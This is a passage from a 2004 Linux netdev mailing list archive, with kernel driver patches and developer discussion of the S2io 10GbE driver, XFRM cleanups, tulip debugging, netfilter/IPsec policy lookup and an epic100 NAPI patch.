-tg3_get_wol tg3.c /^static void tg3_get_wol(struct net_device *dev, = struct ethtool_wolinfo *wol)$/;" f file:=0A= -tg3_halt tg3.c /^static int tg3_halt(struct tg3 *tp)$/;" f file:=0A= -tg3_halt_cpu tg3.c /^static int tg3_halt_cpu(struct tg3 *tp, u32 = offset)$/;" f file:=0A= -tg3_has_work tg3.c /^static inline unsigned int tg3_has_work(struct = net_device *dev, struct tg3 *tp)$/;" f file:=0A= -tg3_hw_stats tg3.h /^struct tg3_hw_stats {$/;" s=0A= -tg3_hw_status tg3.h /^struct tg3_hw_status {$/;" s=0A= -tg3_init tg3.c /^module_init(tg3_init);$/;" v=0A= -tg3_init tg3.c /^static int __init tg3_init(void)$/;" f file:=0A= -tg3_init_5401phy_dsp tg3.c /^static int tg3_init_5401phy_dsp(struct tg3 = *tp)$/;" f file:=0A= -tg3_init_bufmgr_config tg3.c /^static void __devinit = tg3_init_bufmgr_config(struct tg3 *tp)$/;" f file:=0A= -tg3_init_hw tg3.c /^static int tg3_init_hw(struct tg3 *tp)$/;" f file:=0A= -tg3_init_link_config tg3.c /^static void __devinit = tg3_init_link_config(struct tg3 *tp)$/;" f file:=0A= -tg3_init_one tg3.c /^static int __devinit tg3_init_one(struct pci_dev = *pdev,$/;" f file:=0A= -tg3_init_rings tg3.c /^static void tg3_init_rings(struct tg3 *tp)$/;" f = file:=0A= -tg3_internal_buffer_desc tg3.h /^struct tg3_internal_buffer_desc {$/;" s=0A= -tg3_interrupt tg3.c /^static irqreturn_t tg3_interrupt(int irq, void = *dev_id, struct pt_regs *regs)$/;" f file:=0A= -tg3_ioctl tg3.c /^static int tg3_ioctl(struct net_device *dev, struct = ifreq *ifr, int cmd)$/;" f file:=0A= -tg3_is_sun_5704 tg3.c /^static int __devinit tg3_is_sun_5704(struct tg3 = *tp)$/;" f file:=0A= -tg3_link_config tg3.h /^struct tg3_link_config {$/;" s=0A= -tg3_link_report tg3.c /^static void tg3_link_report(struct tg3 *tp)$/;" = f file:=0A= -tg3_load_5701_a0_firmware_fix tg3.c /^static int = tg3_load_5701_a0_firmware_fix(struct tg3 *tp)$/;" f file:=0A= -tg3_load_firmware_cpu tg3.c /^static int tg3_load_firmware_cpu(struct = tg3 *tp, u32 cpu_base, u32 cpu_scratch_base,$/;" f file:=0A= -tg3_load_tso_firmware tg3.c /^static int tg3_load_tso_firmware(struct = tg3 *tp)$/;" f file:=0A= -tg3_netif_start tg3.c /^static inline void tg3_netif_start(struct tg3 = *tp)$/;" f file:=0A= -tg3_netif_stop tg3.c /^static inline void tg3_netif_stop(struct tg3 = *tp)$/;" f file:=0A= -tg3_nvram_init tg3.c /^static void __devinit tg3_nvram_init(struct tg3 = *tp)$/;" f file:=0A= -tg3_nvram_read tg3.c /^static int __devinit tg3_nvram_read(struct tg3 = *tp,$/;" f file:=0A= -tg3_nvram_read_using_eeprom tg3.c /^static int __devinit = tg3_nvram_read_using_eeprom(struct tg3 *tp,$/;" f file:=0A= -tg3_nway_reset tg3.c /^static int tg3_nway_reset(struct net_device = *dev)$/;" f file:=0A= -tg3_open tg3.c /^static int tg3_open(struct net_device *dev)$/;" f file:=0A= -tg3_pci_tbl tg3.c /^static struct pci_device_id tg3_pci_tbl[] =3D {$/;" = v file:=0A= -tg3_periodic_fetch_stats tg3.c /^static void = tg3_periodic_fetch_stats(struct tg3 *tp)$/;" f file:=0A= -tg3_phy_copper_begin tg3.c /^static int tg3_phy_copper_begin(struct tg3 = *tp, int wait_for_link)$/;" f file:=0A= -tg3_phy_probe tg3.c /^static int __devinit tg3_phy_probe(struct tg3 = *tp)$/;" f file:=0A= -tg3_phy_reset tg3.c /^static int tg3_phy_reset(struct tg3 *tp, int = force)$/;" f file:=0A= -tg3_phy_reset_5703_4_5 tg3.c /^static int tg3_phy_reset_5703_4_5(struct = tg3 *tp)$/;" f file:=0A= -tg3_phy_reset_chanpat tg3.c /^static int tg3_phy_reset_chanpat(struct = tg3 *tp)$/;" f file:=0A= -tg3_phy_set_wirespeed tg3.c /^static void tg3_phy_set_wirespeed(struct = tg3 *tp)$/;" f file:=0A= -tg3_phy_string tg3.c /^static char * __devinit tg3_phy_string(struct = tg3 *tp)$/;" f file:=0A= -tg3_phy_write_and_check_testpat tg3.c /^static int = tg3_phy_write_and_check_testpat(struct tg3 *tp, int *resetp)$/;" f file:=0A= -tg3_poll tg3.c /^static int tg3_poll(struct net_device *netdev, int = *budget)$/;" f file:=0A= -tg3_read_mem tg3.c /^static void tg3_read_mem(struct tg3 *tp, u32 off, = u32 *val)$/;" f file:=0A= -tg3_read_partno tg3.c /^static void __devinit tg3_read_partno(struct = tg3 *tp)$/;" f file:=0A= -tg3_readphy tg3.c /^static int tg3_readphy(struct tg3 *tp, int reg, u32 = *val)$/;" f file:=0A= -tg3_recycle_rx tg3.c /^static void tg3_recycle_rx(struct tg3 *tp, u32 = opaque_key,$/;" f file:=0A= -tg3_remove_one tg3.c /^static void __devexit tg3_remove_one(struct = pci_dev *pdev)$/;" f file:=0A= -tg3_reset_hw tg3.c /^static int tg3_reset_hw(struct tg3 *tp)$/;" f file:=0A= -tg3_reset_task tg3.c /^static void tg3_reset_task(void *_data)$/;" f = file:=0A= -tg3_resume tg3.c /^static int tg3_resume(struct pci_dev *pdev)$/;" f = file:=0A= -tg3_rx tg3.c /^static int tg3_rx(struct tg3 *tp, int budget)$/;" f file:=0A= -tg3_rx_buffer_desc tg3.h /^struct tg3_rx_buffer_desc {$/;" s=0A= -tg3_set_bdinfo tg3.c /^static void tg3_set_bdinfo(struct tg3 *tp, u32 = bdinfo_addr,$/;" f file:=0A= -tg3_set_mac_addr tg3.c /^static int tg3_set_mac_addr(struct net_device = *dev, void *p)$/;" f file:=0A= -tg3_set_msglevel tg3.c /^static void tg3_set_msglevel(struct net_device = *dev, u32 value)$/;" f file:=0A= -tg3_set_mtu tg3.c /^static inline void tg3_set_mtu(struct net_device = *dev, struct tg3 *tp,$/;" f file:=0A= -tg3_set_multi tg3.c /^static void tg3_set_multi(struct tg3 *tp, = unsigned int accept_all)$/;" f file:=0A= -tg3_set_pauseparam tg3.c /^static int tg3_set_pauseparam(struct = net_device *dev, struct ethtool_pauseparam *epause)$/;" f file:=0A= -tg3_set_power_state tg3.c /^static int tg3_set_power_state(struct tg3 = *tp, int state)$/;" f file:=0A= -tg3_set_ringparam tg3.c /^static int tg3_set_ringparam(struct = net_device *dev, struct ethtool_ringparam *ering)$/;" f file:=0A= -tg3_set_rx_csum tg3.c /^static int tg3_set_rx_csum(struct net_device = *dev, u32 data)$/;" f file:=0A= -tg3_set_rx_mode tg3.c /^static void tg3_set_rx_mode(struct net_device = *dev)$/;" f file:=0A= -tg3_set_settings tg3.c /^static int tg3_set_settings(struct net_device = *dev, struct ethtool_cmd *cmd)$/;" f file:=0A= -tg3_set_tso tg3.c /^static int tg3_set_tso(struct net_device *dev, u32 = value)$/;" f file:=0A= -tg3_set_tx_csum tg3.c /^static int tg3_set_tx_csum(struct net_device = *dev, u32 data)$/;" f file:=0A= -tg3_set_txd tg3.c /^static void tg3_set_txd(struct tg3 *tp, int = entry,$/;" f file:=0A= -tg3_set_wol tg3.c /^static int tg3_set_wol(struct net_device *dev, = struct ethtool_wolinfo *wol)$/;" f file:=0A= -tg3_setup_copper_phy tg3.c /^static int tg3_setup_copper_phy(struct tg3 = *tp)$/;" f file:=0A= -tg3_setup_fiber_phy tg3.c /^static int tg3_setup_fiber_phy(struct tg3 = *tp)$/;" f file:=0A= -tg3_setup_flow_control tg3.c /^static void = tg3_setup_flow_control(struct tg3 *tp, u32 local_adv, u32 = remote_adv)$/;" f file:=0A= -tg3_setup_phy tg3.c /^static int tg3_setup_phy(struct tg3 *tp)$/;" f = file:=0A= -tg3_start_xmit tg3.c /^static int tg3_start_xmit(struct sk_buff *skb, = struct net_device *dev)$/;" f file:=0A= -tg3_start_xmit_4gbug tg3.c /^static int tg3_start_xmit_4gbug(struct = sk_buff *skb, struct net_device *dev)$/;" f file:=0A= -tg3_stat64_t tg3.h /^} tg3_stat64_t;$/;" t=0A= -tg3_stop_block tg3.c /^static int tg3_stop_block(struct tg3 *tp, = unsigned long ofs, u32 enable_bit)$/;" f file:=0A= -tg3_stop_fw tg3.c /^static void tg3_stop_fw(struct tg3 *tp)$/;" f file:=0A= -tg3_suspend tg3.c /^static int tg3_suspend(struct pci_dev *pdev, u32 = state)$/;" f file:=0A= -tg3_switch_clocks tg3.c /^static void tg3_switch_clocks(struct tg3 = *tp)$/;" f file:=0A= -tg3_test_dma tg3.c /^static int __devinit tg3_test_dma(struct tg3 = *tp)$/;" f file:=0A= -tg3_timer tg3.c /^static void tg3_timer(unsigned long __opaque)$/;" f = file:=0A= -tg3_tx tg3.c /^static void tg3_tx(struct tg3 *tp)$/;" f file:=0A= -tg3_tx_buffer_desc tg3.h /^struct tg3_tx_buffer_desc {$/;" s=0A= -tg3_tx_timeout tg3.c /^static void tg3_tx_timeout(struct net_device = *dev)$/;" f file:=0A= -tg3_vlan_rx tg3.c /^static int tg3_vlan_rx(struct tg3 *tp, struct = sk_buff *skb, u16 vlan_tag)$/;" f file:=0A= -tg3_vlan_rx_kill_vid tg3.c /^static void tg3_vlan_rx_kill_vid(struct = net_device *dev, unsigned short vid)$/;" f file:=0A= -tg3_vlan_rx_register tg3.c /^static void tg3_vlan_rx_register(struct = net_device *dev, struct vlan_group *grp)$/;" f file:=0A= -tg3_wait_macro_done tg3.c /^static int tg3_wait_macro_done(struct tg3 = *tp)$/;" f file:=0A= -tg3_write_indirect_reg32 tg3.c /^static void = tg3_write_indirect_reg32(struct tg3 *tp, u32 off, u32 val)$/;" f file:=0A= -tg3_write_mem tg3.c /^static void tg3_write_mem(struct tg3 *tp, u32 = off, u32 val)$/;" f file:=0A= -tg3_writephy tg3.c /^static int tg3_writephy(struct tg3 *tp, int reg, = u32 val)$/;" f file:=0A= -tigon3_4gb_hwbug_workaround tg3.c /^static int = tigon3_4gb_hwbug_workaround(struct tg3 *tp, struct sk_buff *skb,$/;" f = file:=0A= -timer tg3.h /^ struct timer_list timer;$/;" m struct:tg3=0A= -timer_counter tg3.h /^ u16 timer_counter;$/;" m struct:tg3=0A= -timer_multiplier tg3.h /^ u16 timer_multiplier;$/;" m struct:tg3=0A= -timer_offset tg3.h /^ u32 timer_offset;$/;" m struct:tg3=0A= -tr16 tg3.c 217;" d file:=0A= -tr32 tg3.c 216;" d file:=0A= -tr8 tg3.c 218;" d file:=0A= -tw16 tg3.c 214;" d file:=0A= -tw32 tg3.c 212;" d file:=0A= -tw32_mailbox tg3.c 213;" d file:=0A= -tw8 tg3.c 215;" d file:=0A= -tx_bcast_packets tg3.h /^ tg3_stat64_t tx_bcast_packets;$/;" m = struct:tg3_hw_stats=0A= -tx_buffers tg3.h /^ struct tx_ring_info *tx_buffers;$/;" m struct:tg3=0A= -tx_carrier_sense_errors tg3.h /^ tg3_stat64_t = tx_carrier_sense_errors;$/;" m struct:tg3_hw_stats=0A= -tx_collide_10times tg3.h /^ tg3_stat64_t tx_collide_10times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_11times tg3.h /^ tg3_stat64_t tx_collide_11times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_12times tg3.h /^ tg3_stat64_t tx_collide_12times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_13times tg3.h /^ tg3_stat64_t tx_collide_13times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_14times tg3.h /^ tg3_stat64_t tx_collide_14times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_15times tg3.h /^ tg3_stat64_t tx_collide_15times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_2times tg3.h /^ tg3_stat64_t tx_collide_2times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_3times tg3.h /^ tg3_stat64_t tx_collide_3times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_4times tg3.h /^ tg3_stat64_t tx_collide_4times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_5times tg3.h /^ tg3_stat64_t tx_collide_5times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_6times tg3.h /^ tg3_stat64_t tx_collide_6times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_7times tg3.h /^ tg3_stat64_t tx_collide_7times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_8times tg3.h /^ tg3_stat64_t tx_collide_8times;$/;" m = struct:tg3_hw_stats=0A= -tx_collide_9times tg3.h /^ tg3_stat64_t tx_collide_9times;$/;" m = struct:tg3_hw_stats=0A= -tx_collisions tg3.h /^ tg3_stat64_t tx_collisions;$/;" m = struct:tg3_hw_stats=0A= -tx_comp_queue_full tg3.h /^ tg3_stat64_t tx_comp_queue_full;$/;" m = struct:tg3_hw_stats=0A= -tx_cons tg3.h /^ u32 tx_cons;$/;" m struct:tg3=0A= -tx_consumer tg3.h /^ u16 tx_consumer;$/;" m = struct:tg3_hw_status::=0A= -tx_deferred tg3.h /^ tg3_stat64_t tx_deferred;$/;" m = struct:tg3_hw_stats=0A= -tx_desc_mapping tg3.h /^ dma_addr_t tx_desc_mapping;$/;" m struct:tg3=0A= -tx_discards tg3.h /^ tg3_stat64_t tx_discards;$/;" m = struct:tg3_hw_stats=0A= -tx_errors tg3.h /^ tg3_stat64_t tx_errors;$/;" m struct:tg3_hw_stats=0A= -tx_excessive_collisions tg3.h /^ tg3_stat64_t = tx_excessive_collisions;$/;" m struct:tg3_hw_stats=0A= -tx_flow_control tg3.h /^ tg3_stat64_t tx_flow_control;$/;" m = struct:tg3_hw_stats=0A= -tx_late_collisions tg3.h /^ tg3_stat64_t tx_late_collisions;$/;" m = struct:tg3_hw_stats=0A= -tx_lock tg3.h /^ spinlock_t tx_lock;$/;" m struct:tg3=0A= -tx_mac_errors tg3.h /^ tg3_stat64_t tx_mac_errors;$/;" m = struct:tg3_hw_stats=0A= -tx_mcast_packets tg3.h /^ tg3_stat64_t tx_mcast_packets;$/;" m = struct:tg3_hw_stats=0A= -tx_mode tg3.h /^ u32 tx_mode;$/;" m struct:tg3=0A= -tx_mult_collisions tg3.h /^ tg3_stat64_t tx_mult_collisions;$/;" m = struct:tg3_hw_stats=0A= -tx_octets tg3.h /^ tg3_stat64_t tx_octets;$/;" m struct:tg3_hw_stats=0A= -tx_pending tg3.h /^ u32 tx_pending;$/;" m struct:tg3=0A= -tx_prod tg3.h /^ u32 tx_prod;$/;" m struct:tg3=0A= -tx_ring tg3.h /^ struct tg3_tx_buffer_desc *tx_ring;$/;" m struct:tg3=0A= -tx_ring_info tg3.h /^struct tx_ring_info {$/;" s=0A= -tx_single_collisions tg3.h /^ tg3_stat64_t tx_single_collisions;$/;" = m struct:tg3_hw_stats=0A= -tx_ucast_packets tg3.h /^ tg3_stat64_t tx_ucast_packets;$/;" m = struct:tg3_hw_stats=0A= -tx_xoff_sent tg3.h /^ tg3_stat64_t tx_xoff_sent;$/;" m = struct:tg3_hw_stats=0A= -tx_xon_sent tg3.h /^ tg3_stat64_t tx_xon_sent;$/;" m = struct:tg3_hw_stats=0A= -txconfig tg3.c /^ u32 txconfig, rxconfig;$/;" m = struct:tg3_fiber_aneginfo file:=0A= -type_flags tg3.h /^ u32 type_flags;$/;" m struct:tg3_rx_buffer_desc=0A= -vlan_tag tg3.h /^ u32 vlan_tag;$/;" m struct:tg3_tx_buffer_desc=0A= -vlgrp tg3.h /^ struct vlan_group *vlgrp;$/;" m struct:tg3=0A= diff -urN vanilla-linux/include/linux/pci_ids.h = vanilla-linux-patch/include/linux/pci_ids.h=0A= --- vanilla-linux/include/linux/pci_ids.h 2003-10-26 00:13:29.000000000 = +0530=0A= +++ vanilla-linux-patch/include/linux/pci_ids.h 2004-03-15 = 11:23:43.000000000 +0530=0A= @@ -1817,6 +1817,10 @@=0A= #define PCI_DEVICE_ID_ALTIMA_AC9100 0x03ea=0A= #define PCI_DEVICE_ID_ALTIMA_AC1003 0x03eb=0A= =0A= +#define PCI_VENDOR_ID_S2IO 0x17d5=0A= +#define PCI_DEVICE_ID_S2IO_WIN 0x5731=0A= +#define PCI_DEVICE_ID_S2IO_UNI 0x5831=0A= +=0A= #define PCI_VENDOR_ID_SYMPHONY 0x1c1c=0A= #define PCI_DEVICE_ID_SYMPHONY_101 0x0001=0A= =0A= ------=_NextPart_000_0011_01C40DF1.C4A084B0-- From yoshfuji@linux-ipv6.org Fri Mar 19 20:50:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 20:50:16 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2K4oDKO010633 for ; Fri, 19 Mar 2004 20:50:13 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id E2BF133CA5; Sat, 20 Mar 2004 13:51:51 +0900 (JST) Date: Sat, 20 Mar 2004 13:51:51 +0900 (JST) Message-Id: <20040320.135151.114415274.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [BK] XFRM Clean-Up xfrm_lookup() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4148 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 550 Lines: 16 Hello. Please pull the following changesets from . (Sorry I don't know how to send changesets in e-mail.) Thanks. ChangeSet@1.1819, 2004-03-20 12:35:40+09:00, yoshfuji@linux-ipv6.org [XFRM] remove unused argument for (*find_bundle)(). ChangeSet@1.1818, 2004-03-20 12:34:37+09:00, yoshfuji@linux-ipv6.org [XFRM] remove duplicated lines; fl->fl4_{src,dst} is already filled in xfrm_lookup(). -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From jgarzik@pobox.com Sat Mar 20 01:56:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 01:56:28 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2K9uOKO022183 for ; Sat, 20 Mar 2004 01:56:25 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B4dDL-0005sO-87; Sat, 20 Mar 2004 09:56:23 +0000 Message-ID: <405C153A.2020809@pobox.com> Date: Sat, 20 Mar 2004 04:56:10 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: netdev@oss.sgi.com, "'ravinandan arakali'" , raghavendra.koushik@s2io.com Subject: Re: Submission #4 for S2io 10GbE driver References: <001001c40e34$d2c3c4b0$0300a8c0@S2IOtech.com> In-Reply-To: <001001c40e34$d2c3c4b0$0300a8c0@S2IOtech.com> Content-Type: multipart/mixed; boundary="------------020907080605080708010109" X-archive-position: 4150 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1932 Lines: 71 This is a multi-part message in MIME format. --------------020907080605080708010109 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit applied to 2.6, thanks. Note I made the attached changes, otherwise the build would throw a bunch of errors and warnings. Also, I merged it into drivers/net/s2io{.c,.h,-regs.h} since there isn't a need for a separate directory for just three files. Jeff --------------020907080605080708010109 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" ===== drivers/net/s2io.h 1.1 vs 1.2 ===== --- 1.1/drivers/net/s2io.h Sat Mar 20 04:38:16 2004 +++ 1.2/drivers/net/s2io.h Sat Mar 20 04:47:53 2004 @@ -14,8 +14,8 @@ #define _S2IO_H #define TBD 0 -#define BIT(loc) (((u64)0x8000000000000000ULL) >> loc) -#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) +#define BIT(loc) (1ULL << (loc)) +#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) #ifndef BOOL #define BOOL int @@ -531,7 +531,7 @@ RxD_t rxd[MAX_RXDS_PER_BLOCK]; u64 reserved_0; -#define END_OF_BLOCK 0xFEFFFFFFFFFFFFFF +#define END_OF_BLOCK 0xFEFFFFFFFFFFFFFFULL u64 reserved_1; /* 0xFEFFFFFFFFFFFFFF to mark last Rxd in this blk */ u64 reserved_2_pNext_RxD_block; /*@ Logical ptr to next */ u64 pNext_RxD_Blk_physical; /* Buff0_ptr. @@ -738,7 +738,7 @@ u16 last_link_state; #define LINK_DOWN 1 #define LINK_UP 2 -} nic_t __cacheline_aligned; +} nic_t; #define RESET_ERROR 1; #define CMD_ERROR 2; ===== drivers/net/s2io.c 1.1 vs 1.2 ===== --- 1.1/drivers/net/s2io.c Sat Mar 20 04:38:15 2004 +++ 1.2/drivers/net/s2io.c Sat Mar 20 04:47:53 2004 @@ -65,7 +65,7 @@ /* local include */ #include "s2io.h" -#include "regs.h" +#include "s2io-regs.h" /* S2io Driver name & version. */ static char s2io_driver_name[] = "s2io"; --------------020907080605080708010109-- From hch@infradead.org Sat Mar 20 02:48:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 02:48:22 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KAmJKO025235 for ; Sat, 20 Mar 2004 02:48:20 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1B4e1W-0005u2-I5; Sat, 20 Mar 2004 10:48:14 +0000 Date: Sat, 20 Mar 2004 10:48:14 +0000 From: Christoph Hellwig To: Jeff Garzik Cc: Leonid Grossman , netdev@oss.sgi.com, "'ravinandan arakali'" , raghavendra.koushik@s2io.com Subject: Re: Submission #4 for S2io 10GbE driver Message-ID: <20040320104814.A22674@infradead.org> References: <001001c40e34$d2c3c4b0$0300a8c0@S2IOtech.com> <405C153A.2020809@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <405C153A.2020809@pobox.com>; from jgarzik@pobox.com on Sat, Mar 20, 2004 at 04:56:10AM -0500 X-archive-position: 4151 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 399 Lines: 10 On Sat, Mar 20, 2004 at 04:56:10AM -0500, Jeff Garzik wrote: > applied to 2.6, thanks. > > Note I made the attached changes, otherwise the build would throw a > bunch of errors and warnings. Also, I merged it into > drivers/net/s2io{.c,.h,-regs.h} since there isn't a need for a separate > directory for just three files. There's still lots of missing statics the might want to get fixed up. From jgarzik@pobox.com Sat Mar 20 03:09:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 03:09:50 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KB9lKO026573 for ; Sat, 20 Mar 2004 03:09:47 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B4eML-0006Xr-RH; Sat, 20 Mar 2004 11:09:45 +0000 Message-ID: <405C266D.9030706@pobox.com> Date: Sat, 20 Mar 2004 06:09:33 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jerry Natowitz CC: netdev@oss.sgi.com Subject: Re: Possible overwrite in tulip driver >= 2.6.4-mm2 References: <4058376D.2060409@rcn.com> In-Reply-To: <4058376D.2060409@rcn.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4152 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 410 Lines: 12 Jerry Natowitz wrote: > I'm not experienced in debugging kernels, so all I can do is report that > starting in 2.6.4-mm2, I get debugging information from the tulip driver > that I never saw before. I've confirmed that tulip_debug *should* be 1, > but the presence of debug messages indicate that it is being over-written. A patch from Don Fry fixed this, I believe... can you try with 2.6.5-rc2? Jeff From kaber@trash.net Sat Mar 20 06:00:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 06:01:01 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KE0wKO002656 for ; Sat, 20 Mar 2004 06:00:59 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4h23-0002JQ-00; Sat, 20 Mar 2004 15:00:59 +0100 Message-ID: <405C4ED3.4030004@trash.net> Date: Sat, 20 Mar 2004 15:01:55 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040319115130.GE29066@gondor.apana.org.au> <405B2132.6060403@trash.net> <20040319210525.GA479@gondor.apana.org.au> In-Reply-To: <20040319210525.GA479@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4153 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 934 Lines: 30 Herbert Xu wrote: > > Actually it was me who was confused. ip_route_me_harder can be called > on both incoming/outgoing packets. That's what the if clause is trying > to determine. You should only call xfrm_lookup on the outgoing path. No, ip_route_me_harder is currently (without the patches) only called for outgoing packets. The if-clause is there because ip_route_output doesn't handle packets with non-local source, and we don't want to set the source to 0 (as was done before) because it prevents policy routing from working properly. That's why we need the xfrm_lookup for both cases. Regards Patrick > > So this should be moved back to the if clause above: > > fl.proto = iph->protocol; > lookup = __ip_route_output_key; > #ifdef CONFIG_XFRM > if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { > lookup = ip_route_output_key; > do_decode > } > #endif > if (lookup(&rt, &fl) != 0) > return -1; From romieu@fr.zoreil.com Sat Mar 20 06:25:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 06:25:14 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2KEP5KO003710 for ; Sat, 20 Mar 2004 06:25:06 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2KELAgf031927; Sat, 20 Mar 2004 15:21:10 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2KEL9GH031926; Sat, 20 Mar 2004 15:21:09 +0100 Date: Sat, 20 Mar 2004 15:21:09 +0100 From: Francois Romieu To: netdev@oss.sgi.com, Jeff Garzik Subject: [PATCH] [RFT] 2.6.4 - epic100 napi Message-ID: <20040320152109.A31118@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 4154 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 16665 Lines: 548 People are welcome to report how the following patch behaves on their hardware. It does not seem too bad here but it probably is still a bit rough. A split version of the patch will follow tomorrow. This one definitely 